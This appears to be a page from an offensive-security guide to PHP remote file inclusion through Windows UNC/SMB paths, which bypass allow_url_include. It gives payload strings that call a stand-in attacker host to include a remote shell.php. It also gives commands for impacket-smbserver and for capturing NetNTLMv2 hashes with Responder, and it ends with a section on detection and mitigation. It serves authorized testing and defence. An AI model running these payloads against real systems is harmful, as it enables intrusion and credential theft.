Skip to content
highCVSS 8.1CWE-98A03:2021 – Injection

SMB and UNC Inclusion

On Windows a UNC path is a filesystem path, not a URL. allow_url_include never sees it — which makes this the one remote inclusion that survives the default configuration.

Why this one survives

allow_url_include governs PHP's stream wrapper layer. A UNC path never reaches it.

On Windows, \\host\share\file.php is handled by the Win32 filesystem API exactly like C:\dir\file.php. The redirector resolves the host, opens an SMB session, and returns a file handle. As far as PHP is concerned it opened a local file — so include() runs it, and the flag that was supposed to prevent remote inclusion is not consulted, because nothing in PHP classified this as remote.

This is the only path on this site where remote code from a host you control executes on a target with a completely stock php.ini. It costs you a Windows target and outbound port 445.

The payload

Payloadparameter values
# Backslashes. In a query string these usually survive unencoded, but encode
# them if anything in the path is rewriting or normalising.
\\attacker.example\share\shell.php

# URL-encoded form.
%5C%5Cattacker.example%5Cshare%5Cshell.php

# Forward slashes also work — Windows accepts them throughout the Win32 API,
# and this form slips past a filter looking only for backslashes.
//attacker.example/share/shell.php

# By IP, which skips name resolution entirely.
\\203.0.113.10\share\shell.php

# If an extension is appended, name the file so the result is still valid.
\\attacker.example\share\shell     -> becomes shell.php on the target

Serving the share

Bashon your host, for an authorized engagement
# Impacket's SMB server is the usual choice: anonymous, no config, and it
# speaks the dialects Windows clients will negotiate.
impacket-smbserver share ./payload -smb2support

# SMBv2 matters. Modern Windows refuses SMBv1 by default, and without
# -smb2support the client will connect and then negotiate itself into a
# failure that looks exactly like the include being blocked.

# ./payload/shell.php contains the PHP source you want executed.
# Your host does not run it; the target does.

# Watch the session. A connection with no subsequent read means the target
# reached you and then the include was rejected for a different reason —
# useful information that a blind 500 does not give you.

What has to be true

Four conditions, and the middle two are why this is rated AC:H rather than critical:

  1. The target runs Windows. No equivalent exists on Linux — a path beginning \\ is an ordinary relative filename with backslashes in it. (smbclient-style transparent mounting is not a thing PHP does.)
  2. Outbound TCP 445 is permitted. This is the condition that usually fails. Egress filtering on 445 is close to universal on anything cloud-hosted, precisely because of NTLM relay, and has been for years.
  3. The web server account can open the share. It will try anonymous first. A domain-joined worker may also attempt NTLM authentication, which is where the secondary prize comes in.
  4. Your input reaches the start of the string. A prepended directory turns \\host\share into a relative subdirectory. See PHP Wrappers and Streams.

The consolation prize is often better than the goal

If the target is domain-joined and reaches your listener, it may authenticate on the way — and you capture a NetNTLMv2 response for the account the worker runs as.

That happens whether or not the include succeeds. A blocked include that still made the SMB connection has already given you the hash.

# Responder captures it during the negotiation.
responder -I eth0

What you do with it depends on the account. A machine account hash is rarely crackable but is relayable. A service account with a weak password is crackable offline. Either way this is frequently worth more than a shell on one web worker, and it is why the technique is worth attempting even on a target where you expect the inclusion itself to fail.

Relaying is a separate technique with separate authorization requirements — make sure it is in scope before you go there. Capturing a hash your own listener was sent is not the same activity as relaying it into another host.

Confirming it without a shell

You do not need the include to succeed to prove the reachability, and the reachability is itself the finding.

Watch for the connection. Run your listener and send the payload. A TCP connection to 445 from the target's egress address proves the path was resolved and the redirector acted on it. That is server-side request forgery to an arbitrary host on an arbitrary port, reported as such, even if PHP then refused the file.

Time it. Against a non-routable address the request hangs for the SMB connect timeout — typically around 20 seconds — and then errors. Against a closed port it fails fast. A reliable timing difference between \\203.0.113.10\x and \\127.0.0.1\x confirms the target is trying to connect, even with no output and no listener.

That timing oracle is the fallback worth remembering: it works on a blind sink, needs no inbound connectivity to you, and distinguishes "the payload was rejected" from "the payload was acted on and the network stopped it".

Stopping it

  • Block outbound 445 and 139. Do this regardless; the reasons long predate this technique.
  • Allowlist the parameter. As everywhere else on this site, the actual fix is that the parameter stops being a path. See Defense in Depth.
  • open_basedir does stop it — a UNC path is not within any configured base directory, so resolution is refused before the redirector is involved. This is one of the cases where open_basedir is genuinely load-bearing rather than defence in depth.
  • Do not rely on allow_url_include=Off. That is the entire point of this guide. It is not consulted.